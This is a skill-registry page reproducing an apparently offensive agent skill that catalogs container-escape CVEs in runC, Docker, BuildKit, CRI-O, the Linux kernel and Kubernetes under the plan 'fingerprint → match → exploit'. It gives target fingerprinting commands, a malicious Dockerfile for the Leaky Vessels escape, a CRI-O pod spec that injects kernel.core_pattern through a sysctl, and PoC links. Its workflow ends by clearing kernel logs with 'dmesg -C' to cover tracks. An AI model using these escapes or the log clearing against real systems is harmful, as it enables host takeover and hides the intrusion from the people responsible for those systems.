High-impact container-runtime CVE catalog — runC Leaky Vessels (CVE-2024-21626/-23651/-23652/-23653), CVE-2022-0185 (FUSE/legacy-fs), CVE-2019-5736 (runC binary replace), CRI-O Dirty COW analogs, Kubernetes API server CVE-2019-11247 (custom-resource RBAC bypass). Fingerprint → match → exploit.
55
62%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/cloud/container/container-cve/SKILL.mdWhen you've identified a container target, fingerprint the runtime stack, then check this catalog for a working exploit. Newest first.
# Inside the target container
cat /etc/os-release # base image
cat /proc/version # host kernel
docker version 2>/dev/null # if you have client+socket
ctr version 2>/dev/null
runc --version 2>/dev/null
# From kubelet metadata, if accessible:
curl -k https://127.0.0.1:10250/runningpods | jq '.items[0].metadata'Affects: runC < 1.1.12, Docker < 25.0.3, containerd < 1.7.13, BuildKit < 0.12.5
Primitive: WORKDIR pointing at /proc/self/fd/N (where N is an open kernel FD) lets the container CWD escape into the host filesystem.
# Build a malicious image
cat > Dockerfile <<'EOF'
FROM scratch
WORKDIR /proc/self/fd/8
COPY pwn /pwn
ENTRYPOINT ["/pwn"]
EOF
# Then run on target. Public PoC: github.com/snyk/leaky-vessels-static-detectorAffects: BuildKit < 0.12.5
Primitive: Crafted Dockerfile uses cache or bind mounts to leak / overwrite host files during docker build.
Affects: Linux kernel < 5.16.2 (host kernel — affects every container running on it)
Primitive: fsopen() syscall with a too-long string overflows the heap. CAP_SYS_ADMIN required, but trivial if the container has it.
# PoC: github.com/Crusaders-of-Rust/CVE-2022-0185
# Container escape via kernel → host root.Affects: runC < 1.0.0-rc6, Docker < 18.09.2
Primitive: A malicious container can overwrite the runC binary on the host by exploiting how runC re-execs itself when handling docker exec.
# PoC: github.com/feexd/pocs/blob/master/CVE-2019-5736/
# Still alive on old air-gapped + appliance fleets.Affects: Docker < 19.03.1
Primitive: docker cp loaded a libraries from inside the container, letting a malicious image overwrite libnss_files.so.2 to RCE the docker daemon (= host root).
Affects: Docker < 18.09.3
Primitive: Symlink race between docker cp resolving the source path and reading it lets you read/write arbitrary host files.
Affects: Kubernetes 1.7–1.15 Primitive: RBAC checks for CustomResources used the wrong API group, so a user with permission to a CR in one namespace could access CRs in any namespace.
Affects: CRI-O 1.19+ through 1.23
Primitive: Pod spec securityContext.sysctls accepted unescaped kernel parameters → container escape via kernel.core_pattern.
apiVersion: v1
kind: Pod
metadata:
name: pwn
spec:
containers:
- name: pwn
image: alpine
securityContext:
sysctls:
- name: "kernel.shm_rmid_forced=1+kernel.core_pattern=|/proc/%P/fd/255 %P"
value: "0"cve_lookup the runtime version (e.g., runC 1.1.5) and intersect with the catalog above.cve_poc_lookup for a working PoC.k8s-pod-escape for the post-escape pivot.dmesg -C) if root.e34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.